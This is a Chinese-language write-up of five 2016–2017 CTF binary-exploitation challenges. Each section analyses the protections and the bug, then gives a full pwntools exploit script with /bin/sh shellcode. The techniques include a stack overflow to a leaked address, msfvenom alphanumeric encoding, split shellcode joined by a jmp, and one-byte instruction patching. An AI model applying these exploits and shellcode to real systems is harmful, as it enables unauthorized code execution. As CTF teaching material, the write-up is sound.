第一題--BITSCTF 2017-Command_Line
查看文件格式以及開啟的保護措施,此處全保護均未開啟(默認開啟ASLR),且為64位ELF。
嘗試運行,發現打印出一處地址(基本不用考慮ASLR了),猜測為棧某處地址
放入ida觀察邏輯,發現的確打印了棧上的一個地址,可以直接用。此處可以順便探測一下偏移,0x10+8=0x18,輸入0x18個字符后即可覆蓋ret。只要注意shellcode位於泄露的棧地址后的0x20處(0x18+8=0x20)。至於shellcode直接從網上找就可以了,一個不行多試試別的(我第一個不行,換了一個就好了)。
完整exp如下:
1 #!/usr/bin/python 2 #coding:utf-8 3 4 from pwn import * 5 io = process('./pwn1') 6 7 shellcode = '\x31\xf6\x48\xbb\x2f\x62\x69\x6e\x2f\x2f\x73\x68\x56\x53\x54\x5f\x6a\x3b\x58\x31\xd2\x0f\x05' 8 9 shellcode_address_at_stack = int(io.recv()[:-1], 16)+0x20 10 log.info("Leak stack address = %x", shellcode_address_at_stack) 11 12 payload = "\x90"*24 13 payload += p64(shellcode_address_at_stack) 14 payload += shellcode 15 io.sendline(payload) 16 io.interactive()
第二題—BSides San Francisco CTF 2017-b_64_b_tuff
查看文件格式和保護,發現32位ELF文件,開了NX保護,即數據段不可執行。
嘗試運行,發現打印出了棧頂的地址,其次會要求我們輸入,我們看到他會計算我們輸入的字符個數,接着會發現一個貌似是base64的加密(特征“==”結尾)。且發生棧溢出。
我們放入ida觀察程序邏輯。重點關注后4個語句。首先將輸入的字符串進行base64加密,然后打印出加密的base64碼,接着會運行他。那么現在目的明確,我們需要輸入一串字符串,滿足base64加密后為可執行的shellcode即可。
這里推薦msfvenom工具
首先,我們需要一個編碼器,只需要大小寫都滿足的混合代碼就可以,用msfvenom -l encoders來查看編碼器。
編碼器還是很多的,我們就選擇x86/alpha_mixed就行。
由於msfvenom的輸入只能從stdin讀取,因此我們用管道符通過python輸入給他
python -c 'import sys; sys.stdout.write("\x31\xf6\x48\xbb\x2f\x62\x69\x6e\x2f\x2f\x73\x68\x56\x53\x54\x5f\x6a\x3b\x58\x31\xd2\x0f\x05")' | msfvenom -p - -e x86/alpha_mixed -a linux -f raw -a x86 --platform linux -o payload
完整exp如下:
1 #!/usr/bin/python 2 #coding:utf-8 3 4 from pwn import * 5 from base64 import * 6 7 io = process('./b-64-b-tuff') 8 9 shellcode = b64decode("PYIIIIIIIIIIIIIIII7QZjAXP0A0AkAAQ2AB2BB0BBABXP8ABuJIp1kyigHaX06krqPh6ODoaccXU8ToE2bIbNLIXcHMOpAA") 10 11 print io.recv() 12 io.send(shellcode) 13 print io.recv() 14 io.interactive()
第三題--CSAW Quals CTF 2017-pilot
查看文件格式和開啟保護情況,全保護未開啟,64位ELF,考慮執行shellcode
觀察程序執行情況,比較有用的信息是打印出的一個地址,別的好像都是廢話。
我們把它放入ida觀察一下邏輯
這么多std庫的調用,應該是c++的代碼,我們忽略掉多余信息,關注read函數,發現他向buf數組中輸入了0x40個字符,而buf位於rbp-0x20處,這里明顯存在棧溢出。
那么我們現在的思路就是溢出ret制造棧溢出。
但是我這里直接正常溢出覆蓋返回值執行shellcode會出錯,我在main函數返回時的ret下斷點,跟進調試
我們發現,當執行完push rbx后,函數返回值會被覆蓋掉,我們接着執行
上圖是push rdi執行后,原本的shellcode最后一行也被替換掉了,由於我們暫時找不到比較短的shellcode, 因此我們需要對shellcode進行截斷改造。
我們通過之前的調試可以發現,執行完push rdi后會破壞ret之前共24個字節(3*8)的棧空間數據。再則,我們read可控的輸入為0x40,buf到rbp的距離為0x20,因此ret后的棧空間還有0x60-0x20-8-8=0x10,即16字節數據可控。而通過打開ida顯示字節碼的功能后,可以看出push rdi后shellcode還剩下8字節未執行,ret后的棧空間足夠我們控制。
我們使用上述jmp跳轉指令,可以看到它的字節碼為EB 05(注意jmp跳轉的距離是從該語句的下一條語句地址算,因此為0x34-0x2f=0x05)。這里注意到我們前面可以輸入的shellcode未被覆蓋部分為前24個字節,又考慮到需要留給jmp跳轉語句兩個字節(EB 18)
我們只要先傳22字節的shellcode,再傳2字節的EB 18進行跳轉,再接上剩下8字節的shellcode,即可得到shell。
完整exp如下:
1 #!/usr/bin/python 2 #coding:utf-8 3 4 from pwn import * 5 6 io = process('./pilot') 7 8 shellcode1 = "\x48\x31\xd2\x48\xbb\x2f\x2f\x62\x69\x6e\x2f\x73\x68\x48\xc1\xeb\x08\x53\x48\x89\xe7\x50" 9 shellcode1 += "\xeb\x18" 10 shellcode2 = "\x57\x48\x89\xe6\xb0\x3b\x0f\x05" 11 print io.recvuntil("Location:") 12 shellcode_address_at_stack = int(io.recv()[0:14], 16) 13 log.info("Leak stack address = %x", shellcode_address_at_stack) 14 15 payload = "" 16 payload += shellcode1 17 payload += "\x90"*(0x28-len(shellcode1)) 18 payload += p64(shellcode_address_at_stack) 19 payload += shellcode2 20 21 io.send(payload) 22 io.interactive()
第四題--Openctf 2016-apprentice_www
老規矩,查看文件格式和保護開啟情況,可以看到開啟了NX保護,為32位程序。
嘗試運行程序,發現程序要求我們輸入,輸入后提示棧溢出且把我們的輸入當作命令執行(懷疑),感覺可以利用
扔入ida分析一波,發現main函數很簡單,刷新緩沖區和alarm簡單的反調試,主要關注一下setup函數和butterflyswag函數。
我們發現在setup中調用了mprotect函數設置內存頁屬性,相當於設置了.bss,.data和.text可讀可寫可執行。接着進入下一個函數觀察,發現有兩個輸入,第一個輸入v1是一個單字節變量,第二個輸入v2為一個地址,它會將v1的值寫入我們輸入的地址處,將地址的最低位給替換掉,由於只能修改一個字節,導致我們不能get shell,我們需要想辦法通過一個字節的修改來擴大可控范圍。
我們的想法是通過覆蓋0x080485db處的jnz語句,使得其跳轉回頭繼續執行兩次scanf。
這里需要注意一下,由於我們只能修改最后一個字節,因此此處通過計算得到(0x9d-0xdb=0xffc2),此處計算出為負值可以直接使用。注意我們在這里修改后每次執行到這里都會返回前兩個scanf,我們可以借這個條件完成所有shellcode的輸入(分次輸入)。這里我們可以選擇for循環,限制條件為shellcode長度。記住for循環執行完后我們需要將跳轉語句修改為shellcode所在地址,然后過濾掉所有多余字符串即可開啟shell。
完整exp如下:
1 #!/usr/bin/python 2 #coding:utf-8 3 4 from pwn import * 5 6 io = process('./apprentice_www') 7 8 patch_jne_address = 0x080485da #jnz loc_80485E9所在地址 9 shellcode_address = 0x080485db #shellcode放置的地址 10 11 shellcode = "\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\xb0\x0b\xcd\x80" 12 13 io.sendline(str(patch_jne_address)) 14 io.sendline(str(0xc2)) #將jnz loc_80485E9改成jnz loc_804859D,重復執行兩個call __isoc99_scanf讀取shellcode 15 16 for i in xrange(len(shellcode)): #逐字節寫入shellcode到jnz loc_80485E9指令后面 17 io.sendline(str(shellcode_address+i)) 18 io.sendline(str(ord(shellcode[i]))) 19 20 io.sendline(str(patch_jne_address)) 21 io.sendline(str(0x00)) #寫完shellcode后改為jnz loc_80485DB,執行shellcode 22 23 io.recv() 24 io.interactive()
第五題--Openctf 2016-tyro_shellcode1
老方法走一遭,發現這次保護開的比較多啊,從保護上看貌似不能執行shellcode而且開了canary保護,棧溢出也被限制了。
放入ida瞧一瞧,從邏輯上瞧一瞧。發現mmap一個內存塊,然后read輸入也在這塊內存塊上,下面竟然把我們的輸入直接執行了,這下簡單了,只需要輸入shellcode就拿到shell
這里有個注意點,read調用的輸入函數,我們在交互的時候可以直接使用send,而不需要sendline,這樣可以省下一個字節的空間,對於有些對棧空間要求嚴格題目可能有奇效。
完整exp如下:
1 #!/usr/bin/python 2 #coding:utf-8 3 4 from pwn import * 5 6 io = process('./tyro_shellcode1') 7 8 shellcode = "\x31\xc9\xf7\xe1\xb0\x0b\x51\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\xcd\x80" 9 10 io.sendline(shellcode) 11 io.interactive()